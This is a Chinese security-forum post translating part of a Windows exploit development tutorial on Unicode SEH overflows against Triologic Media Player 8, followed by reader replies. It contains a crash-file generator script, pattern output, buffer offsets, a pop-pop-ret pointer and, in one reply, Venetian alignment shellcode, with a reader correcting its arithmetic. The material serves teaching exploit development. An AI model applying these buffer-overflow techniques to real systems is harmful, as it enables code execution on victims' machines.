首页
社区
课程
招聘
[翻译]Windows Exploit开发系列教程第五部分:Unicode 0x00410041
发表于: 2016-1-5 18:52 20493

[翻译]Windows Exploit开发系列教程第五部分:Unicode 0x00410041

2016-1-5 18:52
20493
ASCII:
A  ==> 0x41

Unicode:
A  ==> 0x0041

2-bytes:
AB ==> 0x4142     (ASCII)
AB ==> 0x00410042 (Unicode)
#!/usr/bin/python -w
 
filename="evil.m3u"
 
buffer = "A"*5000
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
[...snip...]
buffer = "\x90"*536 + [SEH] + "B"*4464 
buffer = "\x90"*534 + [nSEH] + [SEH] + "B"*4464
buffer = "\x90"*536 + [nSEH] + [SEH] + "B"*4462 
buffer = "\x90"*536 + "C"*2 + "D"2 + "B"*4462
ASCII   ==> ...AAAA...
Unicode ==> ...0041004100410041...

But lets see what this looks like when it gets translated to instructions:
...
41         INC ECX
004100     ADD BYTE PTR DS:[ECX],AL
41         INC ECX
004100     ADD BYTE PTR DS:[ECX],AL
...

So this is very very interesting! It seems like one byte will remain intact and the following byte will 
"absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when 
executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP
or Venetian Shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple 
of candidates to absorb these 00's (these won't always be suitable):

006E00     ADD BYTE PTR DS:[ESI],CH
006F00     ADD BYTE PTR DS:[EDI],CH
007000     ADD BYTE PTR DS:[EAX],DH
007100     ADD BYTE PTR DS:[ECX],DH
007200     ADD BYTE PTR DS:[EDX],DH
007300     ADD BYTE PTR DS:[EBX],DH
nSEH = "\x41\x71" 
SEH = ?????
buffer = "\x90"*536 + "\x41\x71" + "D"2 + "B"*4462
Pointer: 0x004100f2 : pop esi # pop ebx # ret 04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [triomp8.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.0.0 (C:\Program Files\Triologic\Triologic Media Player\triomp8.exe)
Buffer: buffer = "\x90"*536 + "\x41\x71" + "\xF2\x41" + "B"*4462

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 3
支持
分享
最新回复 (7)
雪    币: 47147
活跃值: (20450)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
感谢分享!Netfairy在走向大牛的路上
2016-1-9 08:13
0
雪    币: 21
活跃值: (78)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
不容易,感谢!
2016-1-9 10:13
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
为什么Triologic Media Player 8软件下载不了,我在网上也没有找到,能不能把Triologic Media Player 8发到我邮箱641644683@qq.com,谢谢
2016-1-12 10:09
0
雪    币: 191
活跃值: (848)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
5
链接已经失效,你可以直接搜这个软件
2016-1-12 10:16
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
表示找不到
2016-1-12 15:37
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
代码:
"\x55"               #push the value of EBP on to the stack
"\x71"               #Venetian Padding
"\x58"               #take the value of EBP and pop it into EAX
"\x71"               #Venetian Padding
"\x05\x20\x11"       #add eax,0x11002000  \
"\x71"               #Venetian Padding     |> the net sum will add 300 to the value in EAX
"\x2d\x17\x11"       #sub eax,0x11001700  /
"\x71"               #Venetian Padding
"\x50"               #push the new value of EAX onto the stack (points to our buffer)
"\x71"               #Venetian Padding
"\xC3"               #redirect execution flow to the pointer at the top of the stack ==> EAX

这里就是0x900,不是0x300,因为ox11002000-0x11001700=0x900,这里300估计是当成10进制了
2016-1-16 15:03
0
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
大佬,那个seh位置执行科pop pop retn,然后会调到nseh的位置,nesh是个毫无意义的机器码,他这怎么能跳到后面的align呢?
2018-10-26 10:49
0
游客
登录 | 注册 方可回帖
返回
//